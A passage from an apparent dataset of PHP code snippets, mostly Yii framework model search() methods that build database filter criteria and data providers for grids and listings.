searched.\r\n\t\t$conditions=array();\r\n\t\t$params=array();\r\n\t\t$page_params=array();\r\n\t\t$criteria=new CDbCriteria;\r\n\t\t$sort=new CSort();\r\n \t$sort->attributes=array();\r\n \t$sort->defaultOrder=\"t.create_time ASC\";\r\n \t$sort->params=$page_params;\r\n\t\treturn new CActiveDataProvider(get_class($this), array(\r\n\t\t\t'criteria'=>array(\r\n\t\t\t 'condition'=>'',\r\n\t\t\t 'params'=>array(),\r\n\t\t\t 'with'=>array(\"User\",\"District\"),\r\n\t\t\t),\r\n\t\t\t'pagination'=>array(\r\n 'pageSize'=>'20',\r\n 'params'=> $page_params,\r\n ),\r\n 'sort'=>$sort,\r\n\t\t));\r\n\t}", "public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('post_id', $this->post_id);\n $criteria->compare('language_id', $this->language_id);\n $criteria->compare('header', $this->header, true);\n $criteria->compare('text', $this->text, true);\n\t\t$criteria->compare('rating',$this->rating);\n\t\t$criteria->compare('author_id',$this->author_id);\n\t\t$criteria->compare('date_add',$this->date_add,true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search()\n {\n $criteria = new CDbCriteria;\n\n $criteria->compare('t.id', $this->id);\n $criteria->compare('who', $this->who);\n $criteria->compare('date', $this->date, true);\n $criteria->compare('text', $this->text, true);\n $criteria->compare('rate', $this->rate);\n $criteria->compare('knowledge', $this->knowledge);\n $criteria->compare('behavior', $this->behavior);\n $criteria->compare('motivation', $this->motivation);\n $criteria->compare('rate', $this->who_ip);\n $criteria->compare('is_checked', $this->is_checked);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => array(\n 'pageSize' => '50',\n ),\n 'sort' => array(\n 'defaultOrder' => array(\n 'date' => CSort::SORT_DESC,\n ),\n ),\n ));\n }", "public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('name', $this->name, true);\n $criteria->compare('latitude', $this->latitude);\n $criteria->compare('longitude', $this->longitude);\n $criteria->compare('type', $this->type, true);\n $criteria->compare('vicinity', $this->vicinity, true);\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function parametersAndQueriesDataProvider() {}", "public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('region_id', $this->region_id);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search()\n\t{\n\t\t $this->StateProcess(get_class($this).'_'.Y::app()->params['cfgName']);\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('title',$this->title,true);\n $criteria->compare('title_adm',$this->title,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n 'sort'=>array('defaultOrder'=>'id DESC'),\n 'pagination'=>array('pageSize'=>Config::$data['base']->pageSize)\n\t\t));\n\t}", "public function search($params,$query=null)\n {\n if(!$query) $query = RestClient::find();\n\n $query = $query->joinWith(['hospital']) \n ->joinWith(['hospital.sales']);\n //$query = $query->joinWith('mingrui_comments');\n // add conditions that should always apply here\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n ]);\n\n $this->load($params);\n \n if (!$this->validate()) {\n // uncomment the following line if you do not want to return any records when validation fails\n // $query->where('0=1');\n //var_dump($params);exit;\n return $dataProvider;\n }\n \n // grid filtering conditions\n $query->andFilterWhere([\n 'rest_client.id' => $this->id, \n 'age' => $this->age, \n 'hospital_id' => $this->hospital_id, \n ]);\n\n $query->andFilterWhere(['like', 'rest_client.name', $this->name])\n ->andFilterWhere(['like', 'sex', $this->sex])\n ->andFilterWhere(['like', 'birthplace', $this->birthplace])\n ->andFilterWhere(['like', 'email', $this->email])\n ->andFilterWhere(['like', 'tel', $this->tel])\n ->andFilterWhere(['like', 'school', $this->school])\n ->andFilterWhere(['like', 'education', $this->education])\n ->andFilterWhere(['like', 'experience', $this->experience])\n ->andFilterWhere(['like', 'employed', $this->employed])\n ->andFilterWhere(['like', 'department', $this->department])\n ->andFilterWhere(['like', 'worktime', $this->worktime])\n ->andFilterWhere(['like', 'position', $this->position])\n ->andFilterWhere(['like', 'speciality', $this->speciality])\n ->andFilterWhere(['like', 'hobby', $this->hobby])\n ->andFilterWhere(['like', 'notes', $this->notes])\n ->andFilterWhere(['like', 'zhuren', $this->zhuren])\n ->andFilterWhere(['like', 'pianhao', $this->pianhao]) \n ->andFilterWhere(['like', 'rest_danwei.name', $this->hospitalname])\n ->andFilterWhere(['like', 'rest_sales.name', $this->salesname])\n ;\n\n // echo $query->createCommand()->getRawSql(); exit; \n return $dataProvider;\n }", "public function search()\n\t{\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('agreement',$this->agreement);\n\t\t$criteria->compare('date',$this->date,true);\n\t\t$criteria->compare('user',$this->user);\n\t\t$criteria->compare('new_status',$this->new_status);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function search()\n {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id, true);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('description', $this->description, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search() {\n\n\t\t$criteria = $this->getDbCriteria();\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('subject', $this->subject, true);\n\t\t$criteria->compare('status', $this->status);\n\t\t$criteria->compare('template.name', $this->template_id, true);\n\n\t\t$sort = new CSort;\n\t\t$sort->defaultOrder = 'id DESC';\n\n\t\treturn new NActiveDataProvider($this, array(\n\t\t\t\t\t'criteria' => $criteria,\n\t\t\t\t\t'sort' => $sort,\n\t\t\t\t\t'pagination' => array(\n\t\t\t\t\t\t'pageSize' => 20,\n\t\t\t\t\t),\n\t\t\t\t));\n\t}", "public function search()\n {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria=new CDbCriteria;\n\n $criteria->compare('id',$this->id,true);\n $criteria->compare('query_id',$this->query_id,true);\n $criteria->compare('se_id',$this->se_id,true);\n $criteria->compare('se_page',$this->se_page,true);\n $criteria->compare('se_url',$this->se_url,true);\n $criteria->compare('visits',$this->visits);\n\n return new CActiveDataProvider($this, array(\n 'criteria'=>$criteria,\n 'pagination' => array('pageSize' => 25),\n ));\n }", "public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('acquisition_date_id', $this->acquisition_date_id);\n $criteria->compare('acquisition_type_id', $this->acquisition_type_id);\n $criteria->compare('location_id', $this->location_id);\n $criteria->compare('number', $this->number, true);\n $criteria->compare('annotation', $this->annotation, true);\n $criteria->compare('location_coordinates_id', $this->location_coordinates_id);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search()\n {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "protected function _initSearch()\n {\n $this->where['is_del'] = array('eq', 1);\n $this->order = 'create_time desc';\n }", "public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('id_client', $this->id_client);\n $criteria->compare('first_name', $this->first_name, true);\n $criteria->compare('last_name', $this->last_name, true);\n $criteria->compare('date_birth', $this->date_birth, true);\n $criteria->compare('gender', $this->gender);\n\n return new CActiveDataProvider(get_class($this), array(\n 'criteria' => $criteria,\n ));\n }", "public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('domain', $this->domain, true);\n $criteria->compare('ru_domain', $this->ru_domain, true);\n $criteria->compare('page', $this->ru_domain);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function applyDefaultSearchQuery(\\yii\\data\\ActiveDataProvider &$dataProvider);", "protected function _initSearch()\n {\n $this->where['is_del'] = array('eq', 0);\n $this->order = 'create_time desc';\n }", "public static function new_search_record()\n\t{\n\t\treturn new league_record_search();\n\t}", "public function search()\n {\n $query = Story::find()\n ->owner()\n ->globalChannel()\n ->orderBy(['_id' => SORT_ASC])\n ->active();\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n 'pagination' => false\n ]);\n\n return $dataProvider;\n }", "public function search()\n {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('project_id', $this->project_id);\n $criteria->compare('num', $this->num);\n $criteria->compare('team_strength', $this->team_strength);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "private function instantiate_search_page() {\n // Build the search_types_fields and search_types_label arrays out of post_types_defs\n $search_types_fields = array();\n $search_types_label = array();\n foreach ( $this->post_type_defs as $post_type ) {\n $search_types_fields[ $post_type[ 'slug' ] ] = $post_type[ 'fields' ];\n $search_types_label[ $post_type[ 'slug' ] ] = $post_type[ 'plural_name' ];\n }\n $this->search_page = new HRHS_Search( array(\n // Using the default slug and title for now\n 'search_types_fields' => $search_types_fields,\n 'search_types_label' => $search_types_label\n ) );\n }", "public function search()\n\t{\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('title',$this->title,true);\n\n\t\treturn new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function search($query);", "public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('sex', $this->sex);\n $criteria->compare('mobile', $this->mobile, true);\n $criteria->compare('idcard', $this->idcard, true);\n $criteria->compare('password', $this->password, true);\n $criteria->compare('place_ids', $this->place_ids, true);\n $criteria->compare('depart_id', $this->depart_id);\n $criteria->compare('bank', $this->bank, true);\n $criteria->compare('bank_card', $this->bank_card, true);\n $criteria->compare('address', $this->address, true);\n $criteria->compare('education', $this->education, true);\n $criteria->compare('created', $this->created);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id, true);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('summ', $this->summ, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id, true);\n $criteria->compare('company_id', Yii::app()->user->company_id);\n $criteria->compare('zone_id', $this->zone_id, true);\n $criteria->compare('low_qty_threshold', $this->low_qty_threshold);\n $criteria->compare('high_qty_threshold', $this->high_qty_threshold);\n $criteria->compare('created_date', $this->created_date, true);\n $criteria->compare('created_by', $this->created_by, true);\n $criteria->compare('updated_date', $this->updated_date, true);\n $criteria->compare('updated_by', $this->updated_by, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('nrs', $this->nrs, true);\n $criteria->compare('supplier_name', $this->supplier_name, true);\n $criteria->compare('npwp', $this->npwp, true);\n $criteria->compare('bank_name', $this->bank_name, true);\n $criteria->compare('bank_account_number', $this->bank_account_number, true);\n $criteria->compare('created_at', $this->created_at, true);\n $criteria->compare('created_by', $this->created_by);\n $criteria->compare('updated_at', $this->updated_at, true);\n $criteria->compare('updated_by', $this->updated_by);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'sort' => array(\n 'defaultOrder' => 'id DESC',\n ),\n ));\n }", "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('code',$this->code,true);\n\t\t$criteria->compare('title',$this->title,true);\n\t\t$criteria->compare('did',$this->did);\n\t\t$criteria->compare('date_prod',$this->date_prod,true);\n\t\t$criteria->compare('kind',$this->kind,true);\n\t\t$criteria->compare('len',$this->len,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('code', $this->code, true);\n\t\t$criteria->compare('name', $this->name, true);\n\t\t$criteria->compare('printable_name', $this->printable_name, true);\n\t\t$criteria->compare('iso3', $this->iso3, true);\n\t\t$criteria->compare('numcode', $this->numcode);\n\t\t$criteria->compare('is_default', $this->is_default);\n\t\t$criteria->compare('is_highlight', $this->is_highlight);\n\t\t$criteria->compare('is_active', $this->is_active);\n\t\t$criteria->compare('date_added', $this->date_added);\n\t\t$criteria->compare('date_modified', $this->date_modified);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria,\n\t\t));\n\t}", "public function search($params)\n {\n $this->__search($params);\n\n // grid filtering conditions\n $this->query\n\t ->andFilterWhere([\n\t 'id' => $this->id,\n\t 'ord' => $this->ord,\n\t 'type' => $this->type,\n\t ])\n\t ->andFilterWhere(['like', 'code', $this->code])\n ->andFilterWhere(['like', 'name', $this->name]);\n\n return $this->dataProvider;\n }", "public function createQuery() {}", "public function createQuery() {}", "public function createQuery() {}", "public function createQuery() {}", "public function search()\n {\n // @todo Please modify the following code to remove attributes that should not be searched.\n $criteria = new CDbCriteria();\n \n $criteria->compare('question_id', $this->question_id);\n $criteria->compare('student_id', $this->student_id);\n $criteria->compare('answer_id', $this->answer_id);\n $criteria->compare('answer_text', $this->answer_text, true);\n $criteria->compare('answer_number', $this->answer_number, true);\n $criteria->compare('exec_time', $this->exec_time);\n $criteria->compare('result', $this->result);\n $criteria->compare('test_result', $this->test_result);\n \n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria\n ));\n }", "public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('createDate', $this->createDate);\n $criteria->compare('lastUpdated', $this->lastUpdated);\n $criteria->compare('trackingKey', $this->trackingKey);\n $criteria->compare('email', $this->email);\n $criteria->compare('leadscore', $this->leadscore);\n\n if (!Yii::app()->user->isGuest) {\n $pageSize = Profile::getResultsPerPage();\n } else {\n $pageSize = 20;\n }\n\n return new SmartActiveDataProvider(get_class($this), array(\n 'pagination' => array(\n 'pageSize' => $pageSize,\n ),\n 'criteria' => $criteria,\n ));\n }", "public function search() {\n// @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('description', $this->description, true);\n $criteria->compare('type', $this->type, true);\n $criteria->compare('options', $this->options, true);\n $criteria->compare('autoreplys', $this->autoreplys, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function googleSearch()\n {\n $search = new \\Hoor\\Search\\Google(get_search_query(), $this->getIndex());\n $this->data['search'] = $search;\n $this->data['results'] = $search->results;\n }", "protected function addSearchConfigs()\n {\n\n $this['textQueryBuilder'] = function () {\n return new TextQueryBuilder();\n };\n\n $this['searchManager'] = function ($c) {\n return new SearchManager($c['databaseAdapter'], $c['queue'], $c['request'], array(\n $c['textQueryBuilder']\n ));\n };\n\n }", "public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('tbl_customer_supplier', $this->tbl_customer_supplier, true);\n $criteria->compare('id_customer', $this->id_customer, true);\n $criteria->compare('id_supplier', $this->id_supplier, true);\n $criteria->compare('title', $this->title, true);\n $criteria->compare('date_add', $this->date_add, true);\n $criteria->compare('date_upd', $this->date_upd, true);\n $criteria->compare('active', $this->active);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public static function search()\n {\n return self::filterSearch([\n 'plot_ref' => 'string',\n 'plot_name' => 'string',\n 'plot_start_date' => 'string',\n 'user.name' => self::filterOption([\n 'select' => 'id',\n 'label' => trans_title('users', 'plural'),\n 'fields' => ['id', 'name'],\n //ComboBox user list base on the current client\n //See in App\\Models\\Users\\UsersScopes\n 'model' => app(User::class)->bySearch(),\n ]),\n 'client.client_name' => self::filterOption([\n 'conditional' => Credentials::hasRoles(['admin', 'admin-gv']),\n 'select' => 'client_id',\n 'label' => trans_title('clients', 'plural'),\n 'model' => Client::class,\n 'fields' => ['id', 'client_name']\n ])\n ]);\n }", "public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('name', $this->name, true);\n\t\t$criteria->compare('district_id', $this->district_id);\n\t\t$criteria->compare('active', $this->active);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t\t\t'criteria' => $criteria,\n\t\t\t\t));\n\t}", "public function search()\n\t{\n\t\t// should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('issue_date', $this->issue_date, true);\n\n\t\treturn new CActiveDataProvider($this, array('criteria' => $criteria,));\n\t}", "public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('hol_id', $this->hol_id);\n $criteria->compare('loc_id', $this->loc_id);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search($params)\n {\n $this->__search($params);\n\n // grid filtering conditions\n $this->query\n\t ->andFilterWhere(['id' => $this->id])\n\t ->andFilterWhere(['like', 'description', $this->description])\n ->andFilterWhere(['like', 'type', $this->type]);\n\n return $this->dataProvider;\n }", "public function search()\r\n\t{\r\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\r\n\r\n\t\t$criteria = new CDbCriteria;\r\n\r\n\t\t$criteria->compare('doc_num', $this->doc_num, true);\r\n\t\t$criteria->compare('doc_num2', $this->doc_num2);\r\n\t\t$criteria->compare('doc_date', $this->doc_date, true);\r\n\r\n\t\treturn new CActiveDataProvider($this, array(\r\n\t\t\t'criteria' => $criteria,\r\n\t\t));\r\n\t}", "public function search()\n {\n $criteria = new CDbCriteria();\n\n $criteria->compare('productCategoryId', $this->productCategoryId, true);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('level', $this->level);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search() {\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('name', $this->name, true);\n\t\t$criteria->compare('wikilink', $this->wikilink, true);\n\t\t$criteria->compare('picture', $this->picture, true);\n\t\t$criteria->compare('score', $this->score);\n\t\t$criteria->compare('modification_date', $this->modification_date, true);\n\t\t$criteria->compare('featured', $this->featured);\n\t\t$criteria->compare('users_found', $this->users_found);\n\t\t$criteria->compare('gpsdata', $this->gpsdata);\n\t\t$criteria->compare('category', $this->category);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria,\n\t\t));\n\t}", "public function scopeSearch($query){\n if (request()->has('search_query') && !empty(request()->search_query) && request()->has('search_columns') && !empty(request()->search_columns) ) {\n \t$query = $this->getQuery($query , request()->search_columns , request()->search_query );\n }else{\n \tif (request()->has('search_query') && !empty(request()->search_query)) {\n \t\t$query = $this->getQuery($query , $this->fillable , request()->search_query );\n \t}\n }\n\n \n \n \n \n \n return $query;\n }", "public function search()\n {\n $criteria=new CDbCriteria;\n\n $criteria->compare('id',$this->id);\n $criteria->compare('title',$this->title,true);\n $criteria->compare('text',$this->text,true);\n $criteria->compare('author_id',$this->author_id);\n $criteria->compare('editor_id',$this->editor_id);\n $criteria->compare('crated_at',$this->crated_at,true);\n $criteria->compare('edited_at',$this->edited_at,true);\n $criteria->compare('publish_at',$this->publich_at,true);\n\n return new CActiveDataProvider($this, array(\n 'criteria'=>$criteria,\n ));\n }", "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('date_start',$this->date_start,true);\n\t\t$criteria->compare('date_end',$this->date_end,true);\n\t\t$criteria->compare('count_attempt',$this->count_attempt);\n\t\t$criteria->compare('count_questions',$this->count_questions);\n\t\t$criteria->compare('description',$this->description,true);\n\t\t$criteria->compare('date_create',$this->date_create,true);\n\t\t$criteria->compare('author',$this->author,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('latitud',$this->latitud,true);\n\t\t$criteria->compare('longitud',$this->longitud,true);\n\t\t$criteria->compare('telefono',$this->telefono,true);\n\t\t$criteria->compare('direccion',$this->direccion,true);\n\t\t$criteria->compare('web',$this->web,true);\n\t\t$criteria->compare('activo',$this->activo);\n\t\t$criteria->compare('userId',$this->userId);\n\t\t$criteria->compare('ratingGeneral',$this->ratingGeneral);\n\t\t$criteria->compare('youtubeUrl',$this->youtubeUrl,true);\n\t\t$criteria->compare('esDestacado',$this->esDestacado);\n\t\t$criteria->compare('aprobado',$this->aprobado);\n $criteria->compare('regionId',$this->regionId);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function search()\n\t{\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('id_user',$this->id_user);\n\t\t$criteria->compare('id_answer',$this->id_answer);\n\t\t$criteria->compare('mark',$this->mark);\n\t\t$criteria->compare('comment',$this->comment,true);\n\t\t$criteria->compare('time',$this->time,true);\n\t\t$criteria->compare('read_mark',$this->read_mark,true);\n\t\t$criteria->compare('marked_by',$this->marked_by,true);\n\t\t\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n// $criteria->compare('name', $this->name, true);\n $criteria->compare('description', $this->description, true);\n// $criteria->compare('alias', $this->alias, true);\n// $criteria->compare('module', $this->module, true);\n $criteria->compare('crud', $this->crud, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('ID',$this->ID);\n\t\t$criteria->compare('UserID',$this->UserID);\n\t\t$criteria->compare('ProviderID',$this->ProviderID);\n\t\t$criteria->compare('Date',$this->Date,true);\n\t\t$criteria->compare('RawID',$this->RawID);\n\t\t$criteria->compare('Document',$this->Document,true);\n\t\t$criteria->compare('State',$this->State,true);\n\t\t$criteria->compare('Temperature',$this->Temperature,true);\n\t\t$criteria->compare('Conditions',$this->Conditions,true);\n\t\t$criteria->compare('Expiration',$this->Expiration,true);\n\t\t$criteria->compare('Comments',$this->Comments,true);\n\t\t$criteria->compare('Quantity',$this->Quantity,true);\n\t\t$criteria->compare('Type',$this->Type,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t\t'pagination'=>array(\n \t'pageSize'=>Yii::app()->params['defaultPageSize'], \n ),\n\t\t));\n\t}", "public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id,true);\n\t\t$criteria->compare('sn',$this->sn,true);\n\t\t$criteria->compare('fn',$this->fn,true);\n\t\t$criteria->compare('region',$this->region);\n\t\t$criteria->compare('postal',$this->postal,true);\n\t\t$criteria->compare('inn',$this->inn,true);\n\t\t$criteria->compare('ogrn',$this->ogrn,true);\n\t\t$criteria->compare('okpo',$this->okpo,true);\n\t\t$criteria->compare('adress',$this->adress,true);\n\t\t$criteria->compare('tel',$this->tel,true);\n\t\t$criteria->compare('fax',$this->fax,true);\n\t\t$criteria->compare('okved',$this->okved,true);\n\t\t$criteria->compare('oid',$this->oid,true);\n\t\t$criteria->compare('hits',$this->hits);\n\t\t$criteria->compare('st',$this->st);\n\t\t$criteria->compare('alias',$this->alias,true);\n\t\t$criteria->compare('alias2',$this->alias2,true);\n\t\t$criteria->compare('alias3',$this->alias3,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function search()\n {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('cardid', $this->cardid, true);\n $criteria->compare('subclassid', $this->subclassid, true);\n $criteria->compare('cardname', $this->cardname, true);\n\n return new ActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id, true);\n $criteria->compare('pid', $this->pid, true);\n $criteria->compare('userName', $this->userName, true);\n $criteria->compare('userEmail', $this->userEmail, true);\n $criteria->compare('text', $this->text, true);\n $criteria->compare('userId', $this->userId, true);\n $criteria->compare('visibility', $this->visibility);\n $criteria->compare('date', $this->date, true);\n $criteria->compare('type', $this->type, true);\n $criteria->compare('recordId', $this->recordId, true);\n $criteria->compare('info', $this->info, true);\n $criteria->compare('new', $this->new, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('user', $this->user, true);\n $criteria->compare('amount', $this->amount);\n $criteria->compare('currency', $this->currency, true);\n $criteria->compare('valid_from', $this->valid_from, true);\n $criteria->compare('valid_to', $this->valid_to, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search () {\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('title', $this->title, true);\n\t\t$criteria->compare('description', $this->description, true);\n\t\t$criteria->compare('type', $this->type);\n\t\t$criteria->compare('required', $this->required);\n\t\t$criteria->compare('cId', $this->cId);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t 'criteria' => $criteria,\n\t\t ));\n\t}", "private function new_search()\n {\n $this->template = FALSE;\n \n $articulo = new articulo();\n $codfamilia = '';\n if( isset($_REQUEST['codfamilia']) )\n {\n $codfamilia = $_REQUEST['codfamilia'];\n }\n \n $con_stock = isset($_REQUEST['con_stock']);\n $this->results = $articulo->search($this->query, 0, $codfamilia, $con_stock);\n \n /// añadimos la busqueda\n foreach($this->results as $i => $value)\n {\n $this->results[$i]->query = $this->query;\n $this->results[$i]->dtopor = 0;\n }\n \n header('Content-Type: application/json');\n echo json_encode($this->results);\n }", "public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('frequency_band',$this->frequency_band,true);\n\n\t\t$criteria->compare('date_of_issue',$this->date_of_issue,true);\n\n\t\t$criteria->compare('date_of_renewal',$this->date_of_renewal,true);\n\n\t\t$criteria->compare('emission',$this->emission,true);\n\n\t\t$criteria->compare('tolerance',$this->tolerance,true);\n\n\t\t$criteria->compare('application_vsat_id',$this->application_vsat_id,true);\n\n\t\treturn new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\t\t/*\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id,true);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('percent_discount',$this->percent_discount,true);\n\t\t$criteria->compare('taxable',$this->taxable);\n\t\t$criteria->compare('id_user_created',$this->id_user_created);\n\t\t$criteria->compare('id_user_modified',$this->id_user_modified);\n\t\t$criteria->compare('date_created',$this->date_created,true);\n\t\t$criteria->compare('date_modified',$this->date_modified,true);\n\n\t\treturn new CActiveDataProvider(get_class($this), 